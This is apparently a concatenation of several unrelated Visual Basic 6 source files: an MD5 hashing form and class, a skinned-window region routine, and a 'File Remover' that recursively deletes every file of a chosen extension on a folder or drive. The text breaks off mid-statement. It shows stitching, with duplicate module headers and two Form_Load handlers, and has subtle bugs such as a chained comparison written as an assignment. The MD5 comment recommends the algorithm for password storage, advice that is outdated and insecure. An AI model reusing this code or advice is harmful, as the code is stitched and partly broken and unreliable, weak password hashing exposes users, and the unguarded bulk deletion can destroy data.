'Dim Alper ESKIKILIC As A programmer
'Public Sub As Md5 Maker Code
'Please Vote My Cote
'www.odesayazilim.com
Option Explicit
Dim Odesa As String
Dim Alpermd5 As String
Dim oMD5 As CMD5
Private Sub Form_Resize()
'If we minimize the window, activate the timer
If Me.WindowState = vbMinimized Then
OdesaCast.Enabled = True
Else
'Otherwise don't animate the icon.
OdesaCast.Enabled = False
Exit Sub
End If
End Sub
Private Sub btnConvertir_Click()
'*******
Set oMD5 = New CMD5
Odesa = txAMixmd5.Text
Alpermd5 = oMD5.MD5(Odesa)
txTextoMd5.Text = Alpermd5
End Sub
Private Sub btnExit_Click()
Unload Me
End Sub
Private Sub Button1_Click()
Form2.Show
End Sub
Private Sub Form_Load()
txAMixmd5.Text = ""
txTextoMd5.Text = ""
End Sub
Private Sub OdesaCast_Timer()
Static ilmage As Integer
ilmage = ilmage + 1
'If you're adding more images, make sure to change
'the number accordingly... (here in this example
'there are two images.)
If ilmage > 2 Then ilmage = 1
Me.Icon = Odesalist.ListImages(ilmage).Picture
End Sub
'*******************************************************************************
' DESCRIPTION:
' Derived from the RSA Data Security, Inc. MD5 Message-Digest Algorithm,
' as set out in the memo RFC1321.
'
' This class is used to generate an MD5 'digest' or 'signature' of a string. the
' MD5 algorithm is one of the industry standard methods for generating digital
' signatures. It is generically known as a digest, digital signature, one -way
' encryption, hash or checksum algorithm. A common use for MD5 is for password
' encryption as it is one-way in nature, that does not mean that your passwords
' are not free from a dictionary attack. If you are using the
' routine for passwords, you can make it a little more secure by concatenating
' some known random characters to the password before you generate the signature
' and on subsequent tests, so even if a hacker knows you are using MD5 for
' your passwords, the random characters will make it harder to dictionary attack.
'**********************************************************************************
Option Explicit
Private Const BITS_TO_A_BYTE As Long = 8
Private Const BYTES_TO_A_WORD As Long = 4
Private Const BITS_TO_A_WORD As Long = BYTES_TO_A_WORD * BITS_TO_A_BYTE
Private m_lOnBits(0 To 30) As Long
Private m_l2Power(0 To 30) As Long
'*******************************************************************************
' Class_Initialize (SUB)
'
' DESCRIPTION:
' We will usually get quicker results by preparing arrays of bit patterns and
' powers of 2 ahead of time instead of calculating them every time, unless of
' course the methods are only ever getting called once per instantiation of the
' class.
'*******************************************************************************
Private Sub Class_Initialize()
' Could have done this with a loop calculating each value, but simply
' assigning the values is quicker - BITS SET FROM RIGHT
m_lOnBits(0) = 1 ' 00000000000000000000000000000001
m_lOnBits(1) = 3 ' 00000000000000000000000000000011
m_lOnBits(2) = 7 ' 00000000000000000000000000000111
m_lOnBits(3) = 15 ' 00000000000000000000000000001111
m_lOnBits(4) = 31 ' 00000000000000000000000000011111
m_lOnBits(5) = 63 ' 00000000000000000000000000111111
m_lOnBits(6) = 127 ' 00000000000000000000000001111111
m_lOnBits(7) = 255 ' 00000000000000000000000011111111
m_lOnBits(8) = 511 ' 00000000000000000000000111111111
m_lOnBits(9) = 1023 ' 00000000000000000000001111111111
m_lOnBits(10) = 2047 ' 00000000000000000000011111111111
m_lOnBits(11) = 4095 ' 00000000000000000000111111111111
m_lOnBits(12) = 8191 ' 00000000000000000001111111111111
m_lOnBits(13) = 16383 ' 00000000000000000011111111111111
m_lOnBits(14) = 32767 ' 00000000000000000111111111111111
m_lOnBits(15) = 65535 ' 00000000000000001111111111111111
m_lOnBits(16) = 131071 ' 00000000000000011111111111111111
m_lOnBits(17) = 262143 ' 00000000000000111111111111111111
m_lOnBits(18) = 524287 ' 00000000000001111111111111111111
m_lOnBits(19) = 1048575 ' 00000000000011111111111111111111
m_lOnBits(20) = 2097151 ' 00000000000111111111111111111111
m_lOnBits(21) = 4194303 ' 00000000001111111111111111111111
m_lOnBits(22) = 8388607 ' 00000000011111111111111111111111
m_lOnBits(23) = 16777215 ' 00000000111111111111111111111111
m_lOnBits(24) = 33554431 ' 00000001111111111111111111111111
m_lOnBits(25) = 67108863 ' 00000011111111111111111111111111
m_lOnBits(26) = 134217727 ' 00000111111111111111111111111111
m_lOnBits(27) = 268435455 ' 00001111111111111111111111111111
m_lOnBits(28) = 536870911 ' 00011111111111111111111111111111
m_lOnBits(29) = 1073741823 ' 00111111111111111111111111111111
m_lOnBits(30) = 2147483647 ' 01111111111111111111111111111111
' Could have done this with a loop calculating each value, but simply
' assigning the values is quicker - POWERS OF 2
m_l2Power(0) = 1 ' 00000000000000000000000000000001
m_l2Power(1) = 2 ' 00000000000000000000000000000010
m_l2Power(2) = 4 ' 00000000000000000000000000000100
m_l2Power(3) = 8 ' 00000000000000000000000000001000
m_l2Power(4) = 16 ' 00000000000000000000000000010000
m_l2Power(5) = 32 ' 00000000000000000000000000100000
m_l2Power(6) = 64 ' 00000000000000000000000001000000
m_l2Power(7) = 128 ' 00000000000000000000000010000000
m_l2Power(8) = 256 ' 00000000000000000000000100000000
m_l2Power(9) = 512 ' 00000000000000000000001000000000
m_l2Power(10) = 1024 ' 00000000000000000000010000000000
m_l2Power(11) = 2048 ' 00000000000000000000100000000000
m_l2Power(12) = 4096 ' 00000000000000000001000000000000
m_l2Power(13) = 8192 ' 00000000000000000010000000000000
m_l2Power(14) = 16384 ' 00000000000000000100000000000000
m_l2Power(15) = 32768 ' 00000000000000001000000000000000
m_l2Power(16) = 65536 ' 00000000000000010000000000000000
m_l2Power(17) = 131072 ' 00000000000000100000000000000000
m_l2Power(18) = 262144 ' 00000000000001000000000000000000
m_l2Power(19) = 524288 ' 00000000000010000000000000000000
m_l2Power(20) = 1048576 ' 00000000000100000000000000000000
m_l2Power(21) = 2097152 ' 00000000001000000000000000000000
m_l2Power(22) = 4194304 ' 00000000010000000000000000000000
m_l2Power(23) = 8388608 ' 00000000100000000000000000000000
m_l2Power(24) = 16777216 ' 00000001000000000000000000000000
m_l2Power(25) = 33554432 ' 00000010000000000000000000000000
m_l2Power(26) = 67108864 ' 00000100000000000000000000000000
m_l2Power(27) = 134217728 ' 00001000000000000000000000000000
m_l2Power(28) = 268435456 ' 00010000000000000000000000000000
m_l2Power(29) = 536870912 ' 00100000000000000000000000000000
m_l2Power(30) = 1073741824 ' 01000000000000000000000000000000
End Sub
'*******************************************************************************
' LShift (FUNCTION)
'
' PARAMETERS:
' (In) - lValue - Long - The value to be shifted
' (In) - iShiftBits - Integer - The number of bits to shift the value by
'
' RETURN VALUE:
' Long - The shifted long integer
'
' DESCRIPTION:
' A left shift takes all the set binary bits and moves them left, in-filling
' with zeros in the vacated bits on the right. This function is equivalent to
' the << operator in Java and C++
'*******************************************************************************
Private Function LShift(ByVal lValue As Long, _
ByVal iShiftBits As Integer) As Long
' NOTE: If you can guarantee that the Shift parameter will be in the
' range 1 to 30 you can safely strip of this first nested if structure for
' speed.
'
' A shift of zero is no shift at all.
If iShiftBits = 0 Then
LShift = lValue
Exit Function
' A shift of 31 will result in the right most bit becoming the left most
' bit and all other bits being cleared
ElseIf iShiftBits = 31 Then
If lValue And 1 Then
LShift = &H80000000
Else
LShift = 0
End If
Exit Function
' A shift of less than zero or more than 31 is undefined
ElseIf iShiftBits < 0 Or iShiftBits > 31 Then
Err.Raise 6
End If
' If the left most bit that remains will end up in the negative bit
' position (&H80000000) we would end up with an overflow if we took the
' standard route. We need to strip the left most bit and add it back
' afterwards.
If (lValue And m_l2Power(31 - iShiftBits)) Then
' (Value And OnBits(31 - (Shift + 1))) chops off the left most bits that
' we are shifting into, but also the left most bit we still want as This
' is going to end up in the negative bit marker position (&H80000000).
' After the multiplication/shift we Or the result with &H80000000 to
' turn the negative bit on.
LShift = ((lValue And m_lOnBits(31 - (iShiftBits + 1))) * _
m_l2Power(iShiftBits)) Or &H80000000
Else
' (Value And OnBits(31-Shift)) chops off the left most bits that we are
' shifting into so we do not get an overflow error when we do the
' multiplication/shift
LShift = ((lValue And m_lOnBits(31 - iShiftBits)) * _
m_l2Power(iShiftBits))
End If
End Function
'*******************************************************************************
' RShift (FUNCTION)
'
' PARAMETERS:
' (In) - lValue - Long - The value to be shifted
' (In) - iShiftBits - Integer - The number of bits to shift the value by
'
' RETURN VALUE:
' Long - The shifted long integer
'
' DESCRIPTION:
' The right shift of an unsigned long integer involves shifting all the set bits
' to the right and in-filling on the left with zeros. This function is
' equivalent to the >>> operator in Java or the >> operator in C++ when used on
' an unsigned long.
'*******************************************************************************
Private Function RShift(ByVal lValue As Long, _
ByVal iShiftBits As Integer) As Long
' NOTE: If you can guarantee that the Shift parameter will be in the
' range 1 to 30 you can safely strip of this first nested if structure for
' speed.
'
' A shift of zero is no shift at all
If iShiftBits = 0 Then
RShift = lValue
Exit Function
' A shift of 31 will clear all bits and move the left most bit to the Right
' most bit position
ElseIf iShiftBits = 31 Then
If lValue And &H80000000 Then
RShift = 1
Else
RShift = 0
End If
Exit Function
' A shift of less than zero or more than 31 is undefined
ElseIf iShiftBits < 0 Or iShiftBits > 31 Then
Err.Raise 6
End If
' We do not care about the top most bit or the final bit, the top most Bit
' will be taken into account in the next stage, the final bit (whether it
' is an odd number or not) is being shifted into, so we do not give a jot
' about it
RShift = (lValue And &H7FFFFFFE) \ m_l2Power(iShiftBits)
' If the top most bit (&H80000000) was set we need to do things differently
' as in a normal VB signed long integer the top most bit is used to indicate
' the sign of the number, when it is set it is a negative number, so just
' deviding by a factor of 2 as above would not work.
' NOTE: (lValue And &H80000000) is equivalent to (lValue < 0), you could
' get a very marginal speed improvement by changing the test to (lValue < 0)
If (lValue And &H80000000) Then
' We take the value computed so far, and then add the left most negative
' bit after it has been shifted to the right the appropriate number of
' places
RShift = (RShift Or (&H40000000 \ m_l2Power(iShiftBits - 1)))
End If
End Function
'*******************************************************************************
' RShiftSigned (FUNCTION)
'
' PARAMETERS:
' (In) - lValue - Long -
' (In) - iShiftBits - Integer -
'
' RETURN VALUE:
' Long -
'
' DESCRIPTION:
' The right shift of a signed long integer involves shifting all the set bits to
' the right and in-filling on the left with the sign bit (0 if positive, 1 if
' negative. This function is equivalent to the >> operator in Java or the >>
' operator in C++ when used on a signed long integer. Not used in this class,
' but included for completeness.
'*******************************************************************************
Private Function RShiftSigned(ByVal lValue As Long, _
ByVal iShiftBits As Integer) As Long
' NOTE: If you can guarantee that the Shift parameter will be in the
' range 1 to 30 you can safely strip of this first nested if structure for
' speed.
'
' A shift of zero is no shift at all
If iShiftBits = 0 Then
RShiftSigned = lValue
Exit Function
' A shift of 31 will clear all bits if the left most bit was zero, and will
' set all bits if the left most bit was 1 (a negative indicator)
ElseIf iShiftBits = 31 Then
' NOTE: (lValue And &H80000000) is equivalent to (lValue < 0), you
' could get a very marginal speed improvement by changing the test to
' (lValue < 0)
If (lValue And &H80000000) Then
RShiftSigned = -1
Else
RShiftSigned = 0
End If
Exit Function
' A shift of less than zero or more than 31 is undefined
ElseIf iShiftBits < 0 Or iShiftBits > 31 Then
Err.Raise 6
End If
' We get the same result by dividing by the appropriate power of 2 and
' rounding in the negative direction
RShiftSigned = Int(lValue / m_l2Power(iShiftBits))
End Function
'*******************************************************************************
' RotateLeft (FUNCTION)
'
' PARAMETERS:
' (In) - lValue - Long - Value to act on
' (In) - iShiftBits - Integer - Bits to move by
'
' RETURN VALUE:
' Long - Result
'
' DESCRIPTION:
' Rotates the bits in a long integer to the left, those bits falling off the
' left edge are put back on the right edge
'*******************************************************************************
Private Function RotateLeft(ByVal lValue As Long, _
ByVal iShiftBits As Integer) As Long
RotateLeft = LShift(lValue, iShiftBits) Or RShift(lValue, (32 - iShiftBits))
End Function
'*******************************************************************************
' AddUnsigned (FUNCTION)
'
' PARAMETERS:
' (In) - lX - Long - First value
' (In) - lY - Long - Second value
'
' RETURN VALUE:
' Long - Result
'
' DESCRIPTION:
' Adds two potentially large unsigned numbers without overflowing
'*******************************************************************************
Private Function AddUnsigned(ByVal lX As Long, _
ByVal lY As Long) As Long
Dim lX4 As Long
Dim lY4 As Long
Dim lX8 As Long
Dim lY8 As Long
Dim lResult As Long
lX8 = lX And &H80000000
lY8 = lY And &H80000000
lX4 = lX And &H40000000
lY4 = lY And &H40000000
lResult = (lX And &H3FFFFFFF) + (lY And &H3FFFFFFF)
If lX4 And lY4 Then
lResult = lResult Xor &H80000000 Xor lX8 Xor lY8
ElseIf lX4 Or lY4 Then
If lResult And &H40000000 Then
lResult = lResult Xor &HC0000000 Xor lX8 Xor lY8
Else
lResult = lResult Xor &H40000000 Xor lX8 Xor lY8
End If
Else
lResult = lResult Xor lX8 Xor lY8
End If
AddUnsigned = lResult
End Function
'*******************************************************************************
' F (FUNCTION)
'
' DESCRIPTION:
' MD5's F function
'*******************************************************************************
Private Function F(ByVal X As Long, _
ByVal Y As Long, _
ByVal z As Long) As Long
F = (X And Y) Or ((Not X) And z)
End Function
'*******************************************************************************
' G (FUNCTION)
'
' DESCRIPTION:
' MD5's G function
'*******************************************************************************
Private Function G(ByVal X As Long, _
ByVal Y As Long, _
ByVal z As Long) As Long
G = (X And z) Or (Y And (Not z))
End Function
'*******************************************************************************
' H (FUNCTION)
'
' DESCRIPTION:
' MD5's H function
'*******************************************************************************
Private Function H(ByVal X As Long, _
ByVal Y As Long, _
ByVal z As Long) As Long
H = (X Xor Y Xor z)
End Function
'*******************************************************************************
' I (FUNCTION)
'
' DESCRIPTION:
' MD5's I function
'*******************************************************************************
Private Function i(ByVal X As Long, _
ByVal Y As Long, _
ByVal z As Long) As Long
i = (Y Xor (X Or (Not z)))
End Function
'*******************************************************************************
' FF (SUB)
'
' DESCRIPTION:
' MD5's FF procedure
'*******************************************************************************
Private Sub FF(a As Long, _
ByVal B As Long, _
ByVal c As Long, _
ByVal d As Long, _
ByVal X As Long, _
ByVal S As Long, _
ByVal ac As Long)
a = AddUnsigned(a, AddUnsigned(AddUnsigned(F(B, c, d), X), ac))
a = RotateLeft(a, S)
a = AddUnsigned(a, B)
End Sub
'*******************************************************************************
' GG (SUB)
'
' DESCRIPTION:
' MD5's GG procedure
'*******************************************************************************
Private Sub GG(a As Long, _
ByVal B As Long, _
ByVal c As Long, _
ByVal d As Long, _
ByVal X As Long, _
ByVal S As Long, _
ByVal ac As Long)
a = AddUnsigned(a, AddUnsigned(AddUnsigned(G(B, c, d), X), ac))
a = RotateLeft(a, S)
a = AddUnsigned(a, B)
End Sub
'*******************************************************************************
' HH (SUB)
'
' DESCRIPTION:
' MD5's HH procedure
'*******************************************************************************
Private Sub HH(a As Long, _
ByVal B As Long, _
ByVal c As Long, _
ByVal d As Long, _
ByVal X As Long, _
ByVal S As Long, _
ByVal ac As Long)
a = AddUnsigned(a, AddUnsigned(AddUnsigned(H(B, c, d), X), ac))
a = RotateLeft(a, S)
a = AddUnsigned(a, B)
End Sub
'*******************************************************************************
' II (SUB)
'
' DESCRIPTION:
' MD5's II procedure
'*******************************************************************************
Private Sub II(a As Long, _
ByVal B As Long, _
ByVal c As Long, _
ByVal d As Long, _
ByVal X As Long, _
ByVal S As Long, _
ByVal ac As Long)
a = AddUnsigned(a, AddUnsigned(AddUnsigned(i(B, c, d), X), ac))
a = RotateLeft(a, S)
a = AddUnsigned(a, B)
End Sub
'*******************************************************************************
' ConvertToWordArray (FUNCTION)
'
' PARAMETERS:
' (In/Out) - sMessage - String - String message
'
' RETURN VALUE:
' Long() - Converted message as long array
'
' DESCRIPTION:
' Takes the string message and puts it in a long array with padding according to
' the MD5 rules.
'*******************************************************************************
Private Function ConvertToWordArray(sMessage As String) As Long()
Dim lMessageLength As Long
Dim lNumberOfWords As Long
Dim lWordArray() As Long
Dim lBytePosition As Long
Dim lByteCount As Long
Dim lWordCount As Long
Const MODULUS_BITS As Long = 512
Const CONGRUENT_BITS As Long = 448
lMessageLength = Len(sMessage)
' Get padded number of words. Message needs to be congruent to 448 bits,
' modulo 512 bits. If it is exactly congruent to 448 bits, modulo 512 bits
' it must still have another 512 bits added. 512 bits = 64 bytes
' (or 16 * 4 byte words), 448 bits = 56 bytes. This means lMessageSize must
' be a multiple of 16 (i.e. 16 * 4 (bytes) * 8 (bits))
lNumberOfWords = (((lMessageLength + _
((MODULUS_BITS - CONGRUENT_BITS) \ BITS_TO_A_BYTE)) \ _
(MODULUS_BITS \ BITS_TO_A_BYTE)) + 1) * _
(MODULUS_BITS \ BITS_TO_A_WORD)
ReDim lWordArray(lNumberOfWords - 1)
' Combine each block of 4 bytes (ascii code of character) into one long
' value and store in the message. The high-order (most significant) bit of
' each byte is listed first. However, the low-order (least significant) byte
' is given first in each word.
lBytePosition = 0
lByteCount = 0
Do Until lByteCount >= lMessageLength
' Each word is 4 bytes
lWordCount = lByteCount \ BYTES_TO_A_WORD
' The bytes are put in the word from the right most edge
lBytePosition = (lByteCount Mod BYTES_TO_A_WORD) * BITS_TO_A_BYTE
lWordArray(lWordCount) = lWordArray(lWordCount) Or _
LShift(AscB(Mid(sMessage, lByteCount + 1, 1)), lBytePosition)
lByteCount = lByteCount + 1
Loop
' Terminate according to MD5 rules with a 1 bit, zeros and the length in
' bits stored in the last two words
lWordCount = lByteCount \ BYTES_TO_A_WORD
lBytePosition = (lByteCount Mod BYTES_TO_A_WORD) * BITS_TO_A_BYTE
' Add a terminating 1 bit, all the rest of the bits to the end of the
' word array will default to zero
lWordArray(lWordCount) = lWordArray(lWordCount) Or _
LShift(&H80, lBytePosition)
' We put the length of the message in bits into the last two words, to get
' the length in bits we need to multiply by 8 (or left shift 3). This Left
' shifted value is put in the first word. Any bits shifted off the left edge
' need to be put in the second word, we can work out which bits by shifting
' right the length by 29 bits.
lWordArray(lNumberOfWords - 2) = LShift(lMessageLength, 3)
lWordArray(lNumberOfWords - 1) = RShift(lMessageLength, 29)
ConvertToWordArray = lWordArray
End Function
'*******************************************************************************
' WordToHex (FUNCTION)
'
' PARAMETERS:
' (In) - lValue - Long - Long value to convert
'
' RETURN VALUE:
' String - Hex value to return
'
' DESCRIPTION:
' Takes a long integer and due to the bytes reverse order it extracts the
' individual bytes and converts them to hex appending them for an overall Hex
' value
'*******************************************************************************
Private Function WordToHex(ByVal lValue As Long) As String
Dim lByte As Long
Dim lCount As Long
For lCount = 0 To 3
lByte = RShift(lValue, lCount * BITS_TO_A_BYTE) And _
m_lOnBits(BITS_TO_A_BYTE - 1)
WordToHex = WordToHex & Right("0" & Hex(lByte), 2)
Next
End Function
'*******************************************************************************
' MD5 (FUNCTION)
'
' PARAMETERS:
' (In/Out) - sMessage - String - String to be digested
'
' RETURN VALUE:
' String - The MD5 digest
'
' DESCRIPTION:
' This function takes a string message and generates an MD5 digest for it.
' sMessage can be up to the VB string length limit of 2^31 (approx. 2 billion)
' characters.
'
' NOTE: Due to the way in which the string is processed the routine assumes a
' single byte character set. VB passes unicode (2-byte) character strings, the
' ConvertToWordArray function uses on the first byte for each character. This
' has been done this way for ease of use, to make the routine truely portable
' you could accept a byte array instead, it would then be up to the calling
' routine to make sure that the byte array is generated from their string in
' a manner consistent with the string type.
'*******************************************************************************
Public Function MD5(sMessage As String) As String
Dim X() As Long
Dim k As Long
Dim AA As Long
Dim BB As Long
Dim CC As Long
Dim DD As Long
Dim a As Long
Dim B As Long
Dim c As Long
Dim d As Long
Const S11 As Long = 7
Const S12 As Long = 12
Const S13 As Long = 17
Const S14 As Long = 22
Const S21 As Long = 5
Const S22 As Long = 9
Const S23 As Long = 14
Const S24 As Long = 20
Const S31 As Long = 4
Const S32 As Long = 11
Const S33 As Long = 16
Const S34 As Long = 23
Const S41 As Long = 6
Const S42 As Long = 10
Const S43 As Long = 15
Const S44 As Long = 21
' Steps 1 and 2. Append padding bits and length and convert to words
X = ConvertToWordArray(sMessage)
' Step 3. Initialise
a = &H67452301
B = &HEFCDAB89
c = &H98BADCFE
d = &H10325476
' Step 4. Process the message in 16-word blocks
For k = 0 To UBound(X) Step 16
AA = a
BB = B
CC = c
DD = d
' The hex number on the end of each of the following procedure calls is
' an element from the 64 element table constructed with
' T(i) = Int(4294967296 * Abs(Sin(i))) where i is 1 to 64.
'
' However, for speed we don't want to calculate the value every time.
FF a, B, c, d, X(k + 0), S11, &HD76AA478
FF d, a, B, c, X(k + 1), S12, &HE8C7B756
FF c, d, a, B, X(k + 2), S13, &H242070DB
FF B, c, d, a, X(k + 3), S14, &HC1BDCEEE
FF a, B, c, d, X(k + 4), S11, &HF57C0FAF
FF d, a, B, c, X(k + 5), S12, &H4787C62A
FF c, d, a, B, X(k + 6), S13, &HA8304613
FF B, c, d, a, X(k + 7), S14, &HFD469501
FF a, B, c, d, X(k + 8), S11, &H698098D8
FF d, a, B, c, X(k + 9), S12, &H8B44F7AF
FF c, d, a, B, X(k + 10), S13, &HFFFF5BB1
FF B, c, d, a, X(k + 11), S14, &H895CD7BE
FF a, B, c, d, X(k + 12), S11, &H6B901122
FF d, a, B, c, X(k + 13), S12, &HFD987193
FF c, d, a, B, X(k + 14), S13, &HA679438E
FF B, c, d, a, X(k + 15), S14, &H49B40821
GG a, B, c, d, X(k + 1), S21, &HF61E2562
GG d, a, B, c, X(k + 6), S22, &HC040B340
GG c, d, a, B, X(k + 11), S23, &H265E5A51
GG B, c, d, a, X(k + 0), S24, &HE9B6C7AA
GG a, B, c, d, X(k + 5), S21, &HD62F105D
GG d, a, B, c, X(k + 10), S22, &H2441453
GG c, d, a, B, X(k + 15), S23, &HD8A1E681
GG B, c, d, a, X(k + 4), S24, &HE7D3FBC8
GG a, B, c, d, X(k + 9), S21, &H21E1CDE6
GG d, a, B, c, X(k + 14), S22, &HC33707D6
GG c, d, a, B, X(k + 3), S23, &HF4D50D87
GG B, c, d, a, X(k + 8), S24, &H455A14ED
GG a, B, c, d, X(k + 13), S21, &HA9E3E905
GG d, a, B, c, X(k + 2), S22, &HFCEFA3F8
GG c, d, a, B, X(k + 7), S23, &H676F02D9
GG B, c, d, a, X(k + 12), S24, &H8D2A4C8A
HH a, B, c, d, X(k + 5), S31, &HFFFA3942
HH d, a, B, c, X(k + 8), S32, &H8771F681
HH c, d, a, B, X(k + 11), S33, &H6D9D6122
HH B, c, d, a, X(k + 14), S34, &HFDE5380C
HH a, B, c, d, X(k + 1), S31, &HA4BEEA44
HH d, a, B, c, X(k + 4), S32, &H4BDECFA9
HH c, d, a, B, X(k + 7), S33, &HF6BB4B60
HH B, c, d, a, X(k + 10), S34, &HBEBFBC70
HH a, B, c, d, X(k + 13), S31, &H289B7EC6
HH d, a, B, c, X(k + 0), S32, &HEAA127FA
HH c, d, a, B, X(k + 3), S33, &HD4EF3085
HH B, c, d, a, X(k + 6), S34, &H4881D05
HH a, B, c, d, X(k + 9), S31, &HD9D4D039
HH d, a, B, c, X(k + 12), S32, &HE6DB99E5
HH c, d, a, B, X(k + 15), S33, &H1FA27CF8
HH B, c, d, a, X(k + 2), S34, &HC4AC5665
II a, B, c, d, X(k + 0), S41, &HF4292244
II d, a, B, c, X(k + 7), S42, &H432AFF97
II c, d, a, B, X(k + 14), S43, &HAB9423A7
II B, c, d, a, X(k + 5), S44, &HFC93A039
II a, B, c, d, X(k + 12), S41, &H655B59C3
II d, a, B, c, X(k + 3), S42, &H8F0CCC92
II c, d, a, B, X(k + 10), S43, &HFFEFF47D
II B, c, d, a, X(k + 1), S44, &H85845DD1
II a, B, c, d, X(k + 8), S41, &H6FA87E4F
II d, a, B, c, X(k + 15), S42, &HFE2CE6E0
II c, d, a, B, X(k + 6), S43, &HA3014314
II B, c, d, a, X(k + 13), S44, &H4E0811A1
II a, B, c, d, X(k + 4), S41, &HF7537E82
II d, a, B, c, X(k + 11), S42, &HBD3AF235
II c, d, a, B, X(k + 2), S43, &H2AD7D2BB
II B, c, d, a, X(k + 9), S44, &HEB86D391
a = AddUnsigned(a, AA)
B = AddUnsigned(B, BB)
c = AddUnsigned(c, CC)
d = AddUnsigned(d, DD)
Next
' Step 5. Output the 128 bit digest
MD5 = LCase(WordToHex(a) & WordToHex(B) & WordToHex(c) & WordToHex(d))
End Function
Private Declare Function GetPixel Lib "gdi32" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long) As Long
Private Declare Function SetWindowRgn Lib "user32" (ByVal hwnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long
Private Declare Function CreateRectRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Private Declare Function CombineRgn Lib "gdi32" (ByVal hDestRgn As Long, ByVal hSrcRgn1 As Long, ByVal hSrcRgn2 As Long, ByVal nCombineMode As Long) As Long
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long
Const RGN_OR = 2
Dim TeksBerjalan As String
Private Function MakeRegion(picSkin As PictureBox) As Long
Dim X As Long, Y As Long, StartLineX As Long
Dim FullRegion As Long, LineRegion As Long
Dim TransparentColor As Long
Dim InFirstRegion As Boolean
Dim InLine As Boolean
Dim hdc As Long
Dim PicWidth As Long
Dim PicHeight As Long
hdc = picSkin.hdc
PicWidth = picSkin.ScaleWidth
PicHeight = picSkin.ScaleHeight
InFirstRegion = True: InLine = False
X = Y = StartLineX = 0
TransparentColor = GetPixel(hdc, 0, 0)
For Y = 0 To PicHeight - 1
For X = 0 To PicWidth - 1
If GetPixel(hdc, X, Y) = TransparentColor Or X = PicWidth Then
If InLine Then
InLine = False
LineRegion = CreateRectRgn(StartLineX, Y, X, Y + 1)
If InFirstRegion Then
FullRegion = LineRegion
InFirstRegion = False
Else
CombineRgn FullRegion, FullRegion, LineRegion, RGN_OR
DeleteObject LineRegion
End If
End If
Else
If Not InLine Then
InLine = True
StartLineX = X
End If
End If
Next
Next
MakeRegion = FullRegion
End Function
Private Sub Form_Load()
PictureAnimation(0).ScaleMode = vbPixels
PictureAnimation(0).AutoRedraw = True
PictureAnimation(0).AutoSize = True
PictureAnimation(0).BorderStyle = vbBSNone
Me.BorderStyle = vbBSNone
Me.Width = PictureAnimation(0).Width
Me.Height = PictureAnimation(0).Height
Me.Picture = PictureAnimation(0).Picture
WindowRegion = MakeRegion(PictureAnimation(0))
SetWindowRgn Me.hwnd, WindowRegion, True
Me.Refresh
End Sub
'File Remover 1.0.0.1
'if u like this software, Mail me at : subhendra_barik@yahoo.co.in
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Private Type SHFILEOPSTRUCT
hwnd As Long
wFunc As Long
pFrom As String
pTo As String
fFlags As Integer
fAborted As Boolean
hNameMaps As Long
sProgress As String
End Type
Private Type SYSTEMTIME
wYear As Integer
wMonth As Integer
wDayOfWeek As Integer
wDay As Integer
wHour As Integer
wMinute As Integer
wSecond As Integer
wMilliseconds As Integer
End Type
Private Const GENERIC_WRITE = &H40000000
Private Const OPEN_EXISTING = 3
Private Const FILE_SHARE_READ = &H1
Private Const FILE_SHARE_WRITE = &H2
Private Const FO_DELETE = &H3
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function CreateDirectory Lib "kernel32" Alias "CreateDirectoryA" (ByVal lpPathName As String, lpSecurityAttributes As Long) As Long
Private Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long
Private Declare Function GetFileSize Lib "kernel32" (ByVal hFile As Long, lpFileSizeHigh As Long) As Long
Private Declare Function GetFileTime Lib "kernel32" (ByVal hFile As Long, lpCreationTime As FILETIME, lpLastAccessTime As FILETIME, lpLastWriteTime As FILETIME) As Long
Private Declare Function MoveFile Lib "kernel32" Alias "MoveFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String) As Long
Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As Long, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function SHFileOperation Lib "shell32.dll" Alias "SHFileOperationA" (lpFileOp As SHFILEOPSTRUCT) As Long
Private Declare Function FileTimeToSystemTime Lib "kernel32" (lpFileTime As FILETIME, lpSystemTime As SYSTEMTIME) As Long
Private Declare Function FileTimeToLocalFileTime Lib "kernel32" (lpFileTime As FILETIME, lpLocalFileTime As FILETIME) As Long
Dim st, ct, tt As Variant
Private Sub Check1_Click()
Check2.Value = 0
End Sub
Private Sub Check2_Click()
Check1.Value = 0
End Sub
Private Sub Cmd_Click(Index As Integer)
Select Case Index
Case 0
cmd.Item(Index).Enabled = False
Timer1.Enabled = True
st = Time
On Error GoTo Stop1
Drive1.Refresh
TxtDel.Text = ""
List2.Clear
File1.Refresh
File1.Pattern = "*." & CmbExten.Text
If Option1.Item(0).Value = True Then
Drive1.Drive = LblFol.Caption
Dir1.path = Trim(LblFol.Caption) & "\"
ElseIf Option1.Item(1).Value = True Then
Drive1.Drive = CmbDrive.Text
Dir1.path = CmbDrive.Text & "\"
End If
File1.path = Dir1.path
For i = 0 To File1.ListCount - 1
TotFil.Caption = List2.ListCount
List2.AddItem File1.List(i)
LblFile.Caption = File1.path
TxtDel.Text = TxtDel.Text & File1.path
DeleteFile (File1.path & "\" & File1.List(i))
Next i
err:
If flag = 1 Then GoTo Stop1
Dir1.path = List1.Text
LblFile.Caption = File1.path & "\" & File1.List(i)
List2.Refresh
For i = 0 To Dir1.ListCount - 1
List1.AddItem Dir1.List(i)
File1.path = Dir1.List(i)
For j = 0 To File1.ListCount - 1
TotFil.Caption = List2.ListCount
List2.AddItem File1.List(j)
LblFile.Caption = File1.path
TxtDel.Text = TxtDel.Text & File1.path & "\" & File1.List(j) & vbNewLine
DeleteFile (File1.path & "\" & File1.List(j))
Next j
DoEvents
LblTime = Format(Time - st, "HH:MM:SS")
Next i
List1.ListIndex = List1.ListIndex + 1
GoTo err
Case 1
